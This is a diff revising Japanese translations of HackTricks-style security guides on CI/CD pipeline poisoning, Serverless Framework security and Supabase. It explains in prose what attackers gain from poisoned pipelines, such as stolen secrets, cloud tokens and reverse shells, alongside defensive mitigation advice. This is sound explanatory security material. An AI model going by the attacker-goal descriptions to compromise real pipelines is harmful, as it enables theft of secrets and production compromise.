+- **3PE Command Injection**: 通常、CI/CDパイプラインは**PRに関する情報を持つ環境変数を設定します**。その値が攻撃者によって制御でき（PRのタイトルのように）、**危険な場所で使用される**場合（**shコマンドを実行する**など）、攻撃者は**そこにコマンドを注入する**可能性があります。
 
 ### Exploitation Benefits
 
-パイプラインを毒するための3つのフレーバーを知った上で、攻撃者が成功した悪用の後に何を得ることができるかを確認しましょう：
+パイプラインを汚染する3つのフレーバーを知ることで、攻撃者が成功した悪用の後に得られるものを確認しましょう：
 
-- **秘密**：前述のように、パイプラインはそのジョブに**特権**を必要とします（コードを取得し、ビルドし、デプロイする...）これらの特権は通常**秘密に付与されます**。これらの秘密は通常、**環境変数やシステム内のファイルを介してアクセス可能です**。したがって、攻撃者は常にできるだけ多くの秘密を流出させようとします。
-- パイプラインプラットフォームによっては、攻撃者が**構成内で秘密を指定する必要がある**かもしれません。これは、攻撃者がCI構成パイプラインを変更できない場合（例えば**I-PPE**）、彼が**そのパイプラインが持つ秘密のみを流出させることができる**ことを意味します。
-- **計算**：コードはどこかで実行され、実行される場所によっては、攻撃者がさらにピボットできるかもしれません。
-- **オンプレミス**：パイプラインがオンプレミスで実行される場合、攻撃者は**より多くのリソースにアクセスできる内部ネットワークに到達する可能性があります**。
-- **クラウド**：攻撃者は**クラウド内の他のマシンにアクセスする**ことができるだけでなく、**IAMロール/サービスアカウントのトークンを流出させる**こともでき、**クラウド内でさらにアクセスを得る**ことができます。
-- **プラットフォームマシン**：時には、ジョブが**パイプラインプラットフォームマシン内で実行される**ことがあり、通常は**他のアクセスがない**クラウド内にあります。
-- **選択する**：時には、**パイプラインプラットフォームが複数のマシンを構成している**ことがあり、CI構成ファイルを**変更できれば、悪意のあるコードを実行したい場所を指定できます**。この状況では、攻撃者はおそらく各可能なマシンでリバースシェルを実行して、さらに悪用しようとするでしょう。
-- **本番環境を妥協する**：パイプライン内にいて、最終バージョンがそこからビルドされてデプロイされる場合、**本番環境で実行されるコードを妥協する**ことができます。
+- **Secrets**: 前述のように、パイプラインはそのジョブに**特権**を必要とします（コードを取得し、ビルドし、デプロイする...）これらの特権は通常**秘密に付与されます**。これらの秘密は通常、**環境変数やシステム内のファイルを介してアクセス可能です**。したがって、攻撃者は常にできるだけ多くの秘密を流出させようとします。
+- パイプラインプラットフォームによっては、攻撃者が**構成内で秘密を指定する必要がある**場合があります。これは、攻撃者がCI構成パイプラインを変更できない場合（例えば**I-PPE**）、そのパイプラインが持つ秘密のみを**流出させることができる**ことを意味します。
+- **Computation**: コードはどこかで実行され、実行される場所によっては、攻撃者がさらにピボットできる可能性があります。
+- **On-Premises**: パイプラインがオンプレミスで実行される場合、攻撃者は**より多くのリソースにアクセスできる内部ネットワークに到達する可能性があります**。
+- **Cloud**: 攻撃者は**クラウド内の他のマシンにアクセスする**ことができるだけでなく、**IAMロール/サービスアカウントのトークンを流出させて**、**クラウド内でさらにアクセスを得る**ことができます。
+- **Platforms machine**: 時には、ジョブが**パイプラインプラットフォームのマシン内で実行される**ことがあり、通常は**他のアクセスがない**クラウド内にあります。
+- **Select it:** 時には、**パイプラインプラットフォームが複数のマシンを構成している**ことがあり、CI構成ファイルを**変更できれば、悪意のあるコードを実行したい場所を指定できます**。この状況では、攻撃者はおそらく各可能なマシンでリバースシェルを実行して、さらに悪用しようとします。
+- **Compromise production**: パイプライン内にいて、最終バージョンがそこからビルドされてデプロイされる場合、**本番環境で実行されるコードを妥協する**ことができます。
 
 ## More relevant info
 
 ### Tools & CIS Benchmark
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench)は、セキュリティコンプライアンスのためにソフトウェアサプライチェーンスタックを監査するためのオープンソースツールです。新しい[**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf)に基づいています。監査は、コードのタイミングからデプロイのタイミングまでのリスクを明らかにするSDLCプロセス全体に焦点を当てています。
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench)は、セキュリティコンプライアンスのためにソフトウェアサプライチェーンスタックを監査するオープンソースツールです。新しい[**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf)に基づいています。監査は、コードのタイミングからデプロイのタイミングまでのリスクを明らかにするSDLCプロセス全体に焦点を当てています。
 
 ### Top 10 CI/CD Security Risk
 
@@ -90,12 +90,12 @@ Ciderによるトップ10のCI/CDリスクに関する興味深い記事を確
 
 ### Labs
 
-- 各プラットフォームでローカルに実行できるものについては、ローカルで起動する方法が見つかり、テストするために好きなように構成できます。
+- 各プラットフォームでローカルに実行できるものには、テストするために構成できるようにローカルで起動する方法が記載されています。
 - Gitea + Jenkinsラボ：[https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
 ### Automatic Tools
 
-- [**Checkov**](https://github.com/bridgecrewio/checkov)：**Checkov**は、インフラストラクチャコードのための静的コード分析ツールです。
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov**は、インフラストラクチャコードの静的コード分析ツールです。
 
 ## References
 

src/pentesting-ci-cd/serverless.com-security.md

@@ -1,4 +1,4 @@
-# Serverless.com Security
+# Serverless.com セキュリティ
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,19 +6,19 @@
 
 ### 組織
 
-**Organization** は、Serverless Framework エコシステム内の最上位のエンティティです。これは、複数のプロジェクト、チーム、およびアプリケーションを包含する**集団**、例えば会社、部門、またはその他の大規模なエンティティを表します。
+**組織**は、Serverless Frameworkエコシステム内の最上位のエンティティです。これは、複数のプロジェクト、チーム、およびアプリケーションを包含する**集団**、例えば会社、部門、またはその他の大規模なエンティティを表します。
 
 ### チーム
 
-**Team** は、組織内にアクセスを持つユーザーです。チームは、役割に基づいてメンバーを整理するのに役立ちます。**`Collaborators`** は既存のアプリを表示およびデプロイでき、**`Admins`** は新しいアプリを作成し、組織の設定を管理できます。
+**チーム**は、組織内にアクセスを持つユーザーです。チームは、役割に基づいてメンバーを整理するのに役立ちます。**`コラボレーター`**は既存のアプリを表示およびデプロイでき、**`管理者`**は新しいアプリを作成し、組織の設定を管理できます。
 
 ### アプリケーション
 
-**App** は、組織内の関連サービスの論理的なグループ化です。これは、複数のサーバーレスサービスで構成され、協調して機能を提供する完全なアプリケーションを表します。
+**アプリ**は、組織内の関連サービスの論理的なグループ化です。これは、複数のサーバーレスサービスで構成され、協調して機能を提供する完全なアプリケーションを表します。
 
 ### **サービス**
 
-**Service** は、サーバーレスアプリケーションのコアコンポーネントです。これは、すべての関数、設定、および必要なリソースをカプセル化した、あなたの全サーバーレスプロジェクトを表します。通常、`serverless.yml` ファイルで定義され、サービスにはサービス名、プロバイダー設定、関数、イベント、リソース、プラグイン、およびカスタム変数などのメタデータが含まれます。
+**サービス**は、サーバーレスアプリケーションのコアコンポーネントです。これは、すべての関数、設定、および必要なリソースをカプセル化した、あなたの全サーバーレスプロジェクトを表します。通常、`serverless.yml`ファイルで定義され、サービスにはサービス名、プロバイダー設定、関数、イベント、リソース、プラグイン、およびカスタム変数などのメタデータが含まれます。
 ```yaml
 service: my-service
 provider:
@@ -50,7 +50,7 @@ method: get
 
 <summary>イベント</summary>
 
-**イベント**は、サーバーレス関数を呼び出すトリガーです。これにより、関数がどのように、いつ実行されるべきかが定義されます。
+**イベント**は、サーバーレス関数を呼び出すトリガーです。関数がどのように、いつ実行されるべきかを定義します。
 
 一般的なイベントタイプには、HTTPリクエスト、スケジュールされたイベント（cronジョブ）、データベースイベント、ファイルアップロードなどがあります。
 ```yaml
@@ -117,7 +117,7 @@ stage: dev
 provider:
 stage: dev
 ```
-地域は、リソースが展開される地理的地域を指定します。これは、レイテンシ、コンプライアンス、および可用性の考慮にとって重要です。
+リージョンは、リソースが展開される地理的地域を指定します。これは、レイテンシ、コンプライアンス、および可用性の考慮にとって重要です。
 ```yaml
 provider:
 region: us-west-2
@@ -128,7 +128,7 @@ region: us-west-2
 
 <summary>プラグイン</summary>
 
-**プラグイン** は、Serverless Frameworkの機能を拡張し、新しい機能を追加したり、他のツールやサービスと統合したりします。これらは `plugins` セクションの下で定義され、npmを介してインストールされます。
+**プラグイン** は、Serverless Frameworkの機能を拡張し、新しい機能を追加したり、他のツールやサービスと統合したりします。これらは `plugins` セクションで定義され、npmを介してインストールされます。
 ```yaml
 plugins:
 - serverless-offline
@@ -140,7 +140,7 @@ plugins:
 
 <summary>レイヤー</summary>
 
-**レイヤー** は、共有コードや依存関係を関数とは別にパッケージ化して管理することを可能にします。これにより再利用性が促進され、デプロイメントパッケージのサイズが削減されます。レイヤーは `layers` セクションで定義され、関数によって参照されます。
+**レイヤー**は、共有コードや依存関係を関数とは別にパッケージ化して管理することを可能にします。これにより再利用性が促進され、デプロイメントパッケージのサイズが削減されます。レイヤーは`layers`セクションで定義され、関数によって参照されます。
 ```yaml
 layers:
 commonLibs:
@@ -157,7 +157,7 @@ layers:
 
 <summary>変数とカスタム変数</summary>
 
-**変数** は、デプロイ時に解決されるプレースホルダーを使用することで動的な構成を可能にします。
+**変数** は、デプロイ時に解決されるプレースホルダーの使用を許可することによって動的な構成を可能にします。
 
 - **構文:** `${variable}` 構文は、環境変数、ファイルの内容、または他の構成パラメータを参照できます。
 
@@ -183,7 +183,7 @@ stage: ${opt:stage, 'dev'}
 
 <summary>出力</summary>
 
-**出力** は、サービスがデプロイされた後に返される値を定義します。これにはリソースARN、エンドポイント、または他の有用な情報が含まれます。これらは `outputs` セクションの下に指定され、他のサービスに情報を公開したり、デプロイ後の簡単なアクセスのために使用されることがよくあります。
+**出力** は、サービスがデプロイされた後に返される値を定義します。これにはリソースARN、エンドポイント、またはその他の有用な情報が含まれます。これらは `outputs` セクションの下に指定され、他のサービスに情報を公開したり、デプロイ後の簡単なアクセスのために使用されることがよくあります。
 ```yaml
 ¡outputs:
 ApiEndpoint:
@@ -204,7 +204,7 @@ Fn::Join:
 
 <summary>IAMロールと権限</summary>
 
-**IAMロールと権限**は、あなたの関数やその他のリソースのためのセキュリティ資格情報とアクセス権を定義します。必要な権限を指定するために、`provider`または個々の関数設定の下で管理されます。
+**IAMロールと権限** は、あなたの関数やその他のリソースのセキュリティ資格情報とアクセス権を定義します。これらは、必要な権限を指定するために `provider` または個々の関数設定の下で管理されます。
 ```yaml
 provider:
 [...]
@@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
 
 <summary>環境変数</summary>
 
-**変数**は、設定や秘密を関数にハードコーディングせずに渡すことを可能にします。これらは、プロバイダーまたは個々の関数の`environment`セクションの下で定義されます。
+**変数**を使用すると、設定や秘密を関数にハードコーディングすることなく渡すことができます。これらは、プロバイダーまたは個々の関数の`environment`セクションの下で定義されます。
 ```yaml
 provider:
 environment:
@@ -264,7 +264,7 @@ before:deploy:deploy: echo "Starting deployment..."
 
 ### チュートリアル
 
-これは公式チュートリアルの要約です [**ドキュメントから**](https://www.serverless.com/framework/docs/tutorial):
+これは公式チュートリアルの要約です [**from the docs**](https://www.serverless.com/framework/docs/tutorial):
 
 1. AWSアカウントを作成する（Serverless.comはAWSインフラストラクチャで開始します）
 2. serverless.comにアカウントを作成する
@@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
 ## Create A New App
 ## Indicate a name like "tutorialapp)
 ```
-これは、[serverless.com](serverless.com-security.md) で確認できる **app** `tutorialapp` を作成し、`helloworld` コードを含む JS コードがある **`handler.js`** ファイルと、その関数を宣言する **`serverless.yml`** ファイルを含む `Tutorial` というフォルダーを作成するはずです。
+これにより、`tutorialapp`という**アプリ**が作成され、[serverless.com](serverless.com-security.md)で確認できるようになります。また、`Tutorial`というフォルダーが作成され、`helloworld`コードを含むJSコードがある**`handler.js`**ファイルと、その関数を宣言する**`serverless.yml`**ファイルが含まれます：
 
 {{#tabs }}
 {{#tab name="handler.js" }}
@@ -323,9 +323,9 @@ method: get
 {{#endtab }}
 {{#endtabs }}
 
-4. AWSプロバイダーを作成します。`https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws`の**ダッシュボード**に移動します。
-1. `serverless.com`にAWSへのアクセスを許可するために、次の構成ファイルを使用してcloudformationスタックを実行するように求められます（この執筆時点でのもの）： [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
-2. このテンプレートは、**`SFRole-<ID>`**というロールを生成し、**`arn:aws:iam::aws:policy/AdministratorAccess`**を持つアカウントに対して、`Serverless.com` AWSアカウントがロールにアクセスできるようにするTrust Identityを持っています。
+4. **ダッシュボード**に行き、AWSプロバイダーを作成します `https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws`。
+1. `serverless.com`にAWSへのアクセスを許可するために、次の構成ファイルを使用してcloudformationスタックを実行するように求められます（この執筆時点で）： [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
+2. このテンプレートは、**`SFRole-<ID>`**というロールを生成し、**`arn:aws:iam::aws:policy/AdministratorAccess`**を持ち、`Serverless.com`のAWSアカウントがそのロールにアクセスできるようにするTrust Identityを持つアカウントに対して設定されます。
 
 <details>
 
@@ -497,7 +497,7 @@ TableName: ${self:service}-customerTable-${sls:stage}
 
 <details>
 
-<summary>最小限のラムダ権限</summary>
+<summary>最小ラムダ権限</summary>
 ```json
 {
 "Version": "2012-10-17",
@@ -551,9 +551,9 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
 
 ### **安全でない秘密情報と構成管理**
 
-敏感な情報（例：APIキー、データベースの資格情報）を**`serverless.yml`**やコードに直接保存すると、リポジトリが侵害された場合に露出する可能性があります。
+敏感な情報（例：APIキー、データベースの資格情報）を直接**`serverless.yml`**やコードに保存すると、リポジトリが侵害された場合に露出する可能性があります。
 
-**推奨される**方法は、serverless.comの**`serverless.yml`**ファイルに環境変数を保存するために、`ssm`または`s3`プロバイダーを使用することです。これにより、**デプロイ時にこれらのソースから環境値を取得し、**lambdas**の環境変数を**値のクリアテキストなしで**構成できます！
+**推奨される**方法は、serverless.comの**`serverless.yml`**ファイルに環境変数を保存するために、`ssm`または`s3`プロバイダーを使用することです。これにより、**デプロイ時にこれらのソースから環境値を取得し、**lambdas**の環境変数を**値のクリアテキストなしで構成**できます！
 
 > [!CAUTION]
 > したがって、AWS内のlambdas構成を読み取る権限を持つ人は、**これらの環境変数すべてにクリアテキストでアクセスできるようになります！**
@@ -564,26 +564,26 @@ provider:
 environment:
 DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
 ```
-And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
+そして、これが**`serverless.yml`**ファイルに環境変数の値をハードコーディングするのを防いでも、値はデプロイ時に取得され、**lambda環境変数内に平文で追加される**ことになります。
 
 > [!TIP]
-> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**.
+> serveless.comを使用して環境変数を保存する推奨方法は、**AWSシークレットに保存し**、環境変数にシークレット名を保存し、**lambdaコードがそれを取得する**ことです。
 
 #### **緩和戦略**
 
-- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.**
-- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data.
-- **Access Controls:** Restrict access to secrets based on roles.
+- **Secrets Manager統合:** **AWS Secrets Manager**のようなサービスを使用します。
+- **暗号化された変数:** 機密データのためにServerless Frameworkの暗号化機能を活用します。
+- **アクセス制御:** 役割に基づいてシークレットへのアクセスを制限します。
 
 ---
 
 ### **脆弱なコードと依存関係**
 
-Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks.
+古いまたは安全でない依存関係は脆弱性を引き起こす可能性があり、不適切な入力処理はコードインジェクション攻撃を引き起こす可能性があります。
 
 #### **緩和戦略**
 
-- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities.
+- **依存関係管理:** 定期的に依存関係を更新し、脆弱性をスキャンします。
 
 ```yaml
 plugins:
@@ -591,38 +591,38 @@ plugins:
 - serverless-plugin-snyk
 ```
 
-- **Input Validation:** Implement strict validation and sanitization of all inputs.
-- **Code Reviews:** Conduct thorough reviews to identify security flaws.
-- **Static Analysis:** Use tools to detect vulnerabilities in the codebase.
+- **入力検証:** すべての入力の厳格な検証とサニタイズを実施します。
+- **コードレビュー:** セキュリティの欠陥を特定するために徹底的なレビューを行います。
+- **静的分析:** コードベースの脆弱性を検出するためのツールを使用します。
 
 ---
 
 ### **不十分なログ記録と監視**
 
-Without proper logging and monitoring, malicious activities may go undetected, delaying incident response.
+適切なログ記録と監視がないと、悪意のある活動が検出されず、インシデント対応が遅れる可能性があります。
 
 #### **緩和戦略**
 
-- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**.
+- **集中ログ記録:** **AWS CloudWatch**や**Datadog**のようなサービスを使用してログを集約します。
 
 ```yaml
 plugins:
 - serverless-plugin-datadog
 ```
 
-- **Enable Detailed Logging:** Capture essential information without exposing sensitive data.
-- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies.
-- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents.
+- **詳細なログ記録を有効にする:** 機密データを露出させずに重要な情報をキャプチャします。
+- **アラートの設定:** 疑わしい活動や異常に対してアラートを設定します。
+- **定期的な監視:** 潜在的なセキュリティインシデントのためにログとメトリクスを継続的に監視します。
 
 ---
 
 ### **不安全なAPIゲートウェイ設定**
 
-Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks.
+オープンまたは不適切に保護されたAPIは、不正アクセス、サービス拒否（DoS）攻撃、またはクロスサイト攻撃に悪用される可能性があります。
 
 #### **緩和戦略**
 
-- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT.
+- **認証と認可:** OAuth、APIキー、またはJWTのような堅牢なメカニズムを実装します。
 
 ```yaml
 functions:
@@ -635,7 +635,7 @@ method: get
 authorizer: aws_iam
 ```
 
-- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates.
+- **レート制限とスロットリング:** リクエストレートを制限することで悪用を防ぎます。
 
 ```yaml
 provider:
@@ -645,7 +645,7 @@ burstLimit: 200
 rateLimit: 100
 ```
 
-- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers.
+- **安全なCORS設定:** 許可されたオリジン、メソッド、およびヘッダーを制限します。
 
 ```yaml
 functions:
@@ -661,19 +661,19 @@ headers:
 - Content-Type
 ```
 
-- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns.
+- **Webアプリケーションファイアウォール（WAF）の使用:** 悪意のあるパターンのHTTPリクエストをフィルタリングおよび監視します。
 
 ---
 
 ### **不十分な関数の分離**
 
-Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions.
+共有リソースと不十分な分離は、特権の昇格や関数間の意図しない相互作用を引き起こす可能性があります。
 
 #### **緩和戦略**
 
-- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation.
-- **Resource Partitioning:** Use separate databases or storage buckets for different functions.
-- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation.
+- **関数の分離:** 独立した操作を確保するために、異なるリソースとIAMロールを割り当てます。
+- **リソースのパーティショニング:** 異なる関数のために別々のデータベースやストレージバケットを使用します。
+- **VPCの使用:** ネットワークの分離を強化するために、仮想プライベートクラウド内に関数をデプロイします。
 
 ```yaml
 provider:
@@ -684,17 +684,17 @@ subnetIds:
 - subnet-xxxxxx
 ```
 
-- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required.
+- **関数の権限を制限:** 明示的に必要でない限り、関数が互いのリソースにアクセスしたり干渉したりできないようにします。
 
 ---
 
 ### **不十分なデータ保護**
 
-Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering.
+静止中または転送中の暗号化されていないデータは露出する可能性があり、データ侵害や改ざんを引き起こす可能性があります。
 
 #### **緩和戦略**
 
-- **Encrypt Data at Rest:** Utilize cloud service encryption features.
+- **静止中のデータを暗号化:** クラウドサービスの暗号化機能を利用します。
 
 ```yaml
 resources:
@@ -706,107 +706,107 @@ SSESpecification:
 SSEEnabled: true
 ```
 
-- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions.
-- **Secure API Communication:** Enforce encryption protocols and validate certificates.
-- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly.
+- **転送中のデータを暗号化:** すべてのデータ送信にHTTPS/TLSを使用します。
+- **API通信の保護:** 暗号化プロトコルを強制し、証明書を検証します。
+- **暗号化キーを安全に管理:** 管理されたキーサービスを使用し、定期的にキーをローテーションします。
 
 ---
 
 ### **適切なエラーハンドリングの欠如**
 
-Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes.
+詳細なエラーメッセージは、インフラストラクチャやコードベースに関する機密情報を漏洩させる可能性があり、未処理の例外はアプリケーションのクラッシュを引き起こす可能性があります。
 
 #### **緩和戦略**
 
-- **Generic Error Messages:** Avoid exposing internal details in error responses.
+- **一般的なエラーメッセージ:** エラー応答に内部の詳細を露出させないようにします。
 
 ```javascript
-javascriptCopy code// Example in Node.js
+javascriptCopy code// Node.jsの例
 exports.hello = async (event) => {
 try {
-// Function logic
+// 関数のロジック
 } catch (error) {
 console.error(error);
 return {
 statusCode: 500,
-body: JSON.stringify({ message: 'Internal Server Error' }),
+body: JSON.stringify({ message: '内部サーバーエラー' }),
 };
 }
 };
 ```
 
-- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions.
-- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users.
+- **中央集中的なエラーハンドリング:** すべての関数でエラーを一貫して管理し、サニタイズします。
+- **エラーの監視とログ記録:** 詳細をエンドユーザーに露出させずに、内部でエラーを追跡し分析します。
 
 ---
 
 ### **不安全なデプロイメントプラクティス**
 
-Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations.
+露出したデプロイメント構成やCI/CDパイプラインへの不正アクセスは、悪意のあるコードのデプロイや誤設定を引き起こす可能性があります。
 
 #### **緩和戦略**
 
-- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits.
-- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data.
-- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies.
-- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices.
+- **CI/CDパイプラインのセキュリティ:** 厳格なアクセス制御、多要素認証（MFA）、および定期的な監査を実施します。
+- **構成を安全に保存:** デプロイメントファイルをハードコーディングされたシークレットや機密データから解放します。
+- **Infrastructure as Code（IaC）セキュリティツールの使用:** **Checkov**や**Terraform Sentinel**のようなツールを使用してセキュリティポリシーを強制します。
+- **不変のデプロイメント:** 不正な変更を防ぐために、不変のインフラストラクチャプラクティスを採用します。
 
 ---
 
 ### **プラグインと拡張機能の脆弱性**
 
-Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications.
+未検証または悪意のあるサードパーティプラグインを使用すると、サーバーレスアプリケーションに脆弱性が導入される可能性があります。
 
 #### **緩和戦略**
 
-- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources.
-- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface.
-- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches.
-- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises.
+- **プラグインを徹底的に評価:** 統合前にプラグインのセキュリティを評価し、信頼できるソースからのものを優先します。
+- **プラグインの使用を制限:** 攻撃面を最小限に抑えるために、必要なプラグインのみを使用します。
+- **プラグインの更新を監視:** セキュリティパッチの恩恵を受けるためにプラグインを更新します。
+- **プラグイン環境を分離:** プラグインを隔離された環境で実行し、潜在的な侵害を抑制します。
 
 ---
 
 ### **機密エンドポイントの露出**
 
-Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations.
+公開アクセス可能な関数や制限のないAPIは、不正な操作に悪用される可能性があります。
 
 #### **緩和戦略**
 
-- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources.
-- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization.
-- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting.
-- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use.
+- **関数アクセスの制限:** VPC、セキュリティグループ、およびファイアウォールルールを使用して、信頼できるソースへのアクセスを制限します。
+- **堅牢な認証の実装:** すべての公開エンドポイントが適切な認証と認可を必要とすることを確認します。
+- **APIゲートウェイを安全に使用:** APIゲートウェイを構成して、入力検証やレート制限を含むセキュリティポリシーを強制します。
+- **未使用のエンドポイントを無効にする:** 定期的にレビューし、もはや使用されていないエンドポイントを無効にします。
 
 ---
 
-### **チームメンバーと外部コラボレーターの過剰な権限**
+### **チームメンバーと外部コラボレーターへの過剰な権限**
 
-Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats.
+チームメンバーや外部コラボレーターに過剰な権限を付与すると、不正アクセス、データ侵害、リソースの悪用につながる可能性があります。このリスクは、複数の個人が異なるレベルのアクセスを持つ環境で高まるため、攻撃面が広がり、内部脅威の可能性が増加します。
 
 #### **緩和戦略**
 
-- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks.
+- **最小権限の原則:** チームメンバーやコラボレーターがタスクを実行するために必要な権限のみを持つことを確認します。
 
 ---
 
 ### **アクセスキーとライセンスキーのセキュリティ**
 
-**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI.
+**アクセスキー**と**ライセンスキー**は、Serverless Framework CLIとの相互作用を認証および承認するために使用される重要な資格情報です。
 
-- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI.
-- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`.
+- **ライセンスキー:** CLI経由でログインするために必要なServerless Frameworkバージョン4へのアクセスを認証するためのユニークな識別子です。
+- **アクセスキー:** Serverless Framework Dashboardと認証するためにServerless Framework CLIが使用する資格情報です。`serverless` cliでログインすると、アクセスキーが**生成されてラップトップに保存されます**。また、`SERVERLESS_ACCESS_KEY`という名前の環境変数として設定することもできます。
 
 #### **セキュリティリスク**
 
-1. **Exposure Through Code Repositories:**
-- Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access.
-2. **Insecure Storage:**
-- Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage.
-3. **Improper Distribution:**
-- Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors.
-4. **Lack of Rotation:**
-- Not regularly rotating keys extends the exposure period if keys are compromised.
-5. **Excessive Permissions:**
-- Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources.
+1. **コードリポジトリを通じた露出:**
+- アクセスキーやライセンスキーをハードコーディングしたり、バージョン管理システムに誤ってコミットしたりすると、不正アクセスにつながる可能性があります。
+2. **不安全なストレージ:**
+- 環境変数や構成ファイル内に平文でキーを保存することは、漏洩の可能性を高めます。
+3. **不適切な配布:**
+- 不安全なチャネル（例：メール、チャット）を通じてキーを共有すると、悪意のある行為者によって傍受される可能性があります。
+4. **ローテーションの欠如:**
+- 定期的にキーをローテーションしないと、キーが侵害された場合の露出期間が延びます。
+5. **過剰な権限:**
+- 幅広い権限を持つキーは、複数のリソースにわたって不正な操作を行うために悪用される可能性があります。
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-ci-cd/supabase-security.md

@@ -8,7 +8,7 @@
 
 ### サブドメイン
 
-基本的にプロジェクトが作成されると、ユーザーは次のようなsupabase.coのサブドメインを受け取ります：**`jnanozjdybtpqgcwhdiz.supabase.co`**
+基本的にプロジェクトが作成されると、ユーザーはsupabase.coのサブドメインを受け取ります：**`jnanozjdybtpqgcwhdiz.supabase.co`**
 
 ## **データベース設定**
 
@@ -37,9 +37,9 @@
 
 ### anon APIキー
 
-**anon APIキー**（`role: "anon"`）も生成されます：`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`、アプリケーションがAPIキーに接触するために使用する必要があります。
+また、**anon APIキー**（`role: "anon"`）を生成します：`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`、これはアプリケーションが私たちの例で公開されたAPIキーに連絡するために使用する必要があります。
 
